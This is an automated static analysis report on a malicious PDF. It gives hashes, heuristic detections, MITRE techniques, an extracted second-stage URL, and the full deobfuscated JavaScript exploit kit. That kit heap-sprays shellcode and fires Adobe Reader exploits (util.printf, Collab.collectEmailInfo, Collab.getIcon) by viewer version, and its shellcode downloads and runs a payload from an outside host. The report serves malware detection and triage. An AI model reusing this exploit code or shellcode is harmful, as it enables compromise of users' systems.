Malicious PDF — malware analysis report

Static analysis result for SHA-256 a4ef4ec9ddcaa356…

MALICIOUS

PDF

6.2 KB Created: 2008-09-24 19:47:56 Authoring application: Adobe First seen: 2026-05-08
MD5: 2402454a19f6e7f1aa952e4db96cdc3b SHA-1: c7039f913f8d661f5d774dccc83b164bbdbe7f1c SHA-256: a4ef4ec9ddcaa3569d7df130ac46a4b28f52c73a2d0ca37a1ccf018c3e57f8ec
498 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.001 Malicious Link

This PDF file contains embedded JavaScript that leverages known vulnerabilities (CVE-2009-0927 and CVE-2007-5659) to execute arbitrary code. The JavaScript is obfuscated and uses eval() and String.fromCharCode() to hide its malicious intent. The primary goal appears to be exploiting these vulnerabilities to gain control of the user's system.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 10

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            }
    eval(decrypt(sourceCode,(new Date().getSeconds() % 1)))
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://megafreehosting.com/mandms/load.php?spl=pdf_exp Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0010_000.js pdf-javascript-stream PDF /JS object 10 at offset 0x147D 299 bytes
SHA-256: 35a90c9d315562023cab87f23d3d979b7ef3c4d6168dd7cd5bfcafb70384f6fa
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "oil"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }
eval(decrypt(sourceCode,(new Date().getSeconds() % 1)))
javascript_obj0011_001.js pdf-javascript-stream PDF /JS object 11 at offset 0x158C 313 bytes
SHA-256: a45d3cc8bae58ead0d5ba1b5b7fd7c7839f1064b93cf47cd4d530b4738fa0dd4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "lylamwtnfyuimppmf"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }
eval(decrypt(sourceCode,(new Date().getSeconds() % 1)))
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x1AA 4931 bytes
SHA-256: eb5f96188c1964a97d7234548b2a1f8e47816abd5149517a6184ea7e96464967
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}yarsp=yarsp.substring(0,len/2);return yarsp;}  function util_printf(){var payload=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u6765%u6661%u6572%u6865%u736F%u6974%u676E%u632E%u6D6F%u6D2F%u6E61%u6D64%u2F73%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");  var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}  var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}  var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}  var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("E000f",num);}  function collab_email(){var shellcode=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u6765%u6661%u6572%u6865%u736F%u6974%u676E%u632E%u6D6F%u6D2F%u6E61%u6D64%u2F73%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");var mem_array=new Array();var cc=0x0c0c0c0c;var addr=0x400000;var sc_len=shellcode.length*2;var len=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var count2=(cc-0x400000)/addr;for(var count=0;count<count2;count++){mem_array[count]=yarsp+shellcode;}  var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;}  this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});}  function collab_geticon(){if(app.doc.Collab.getIcon){var arry=new Array();var vvpethya=unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u6765%u6661%u6572%u6865%u736F%u6974%u676E%u632E%u6D6F%u6D2F%u6E61%u6D64%u2F73%u6F6C%u6461%u702E%u7068%u733F%u6C70%u703D%u6664%u655F%u7078");var hWq500CN=vvpethya.length*2;var len=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=fix_it(yarsp,len);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+vvpethya;}  var tUMhNbGw=unescape("	");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}  tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}}  function PPPDDDFF(){var version=app.viewerVersion.toString();version=version.replace(/\D/g,'');var varsion_array=new Array(version.charAt(0),version.charAt(1),version.charAt(2));if((varsion_array[0]==8)&&(varsion_array[1]==0)||(varsion_array[1]==1&&varsion_array[2]<3)){util_printf();}  if((varsion_array[0]<8)||(varsion_array[0]==8&&varsion_array[1]<2&&varsion_array[2]<2)){collab_email();}  if((varsion_array[0]<9)||(varsion_array[0]==9&&varsion_array[1]<1)){collab_geticon();}}  PPPDDDFF();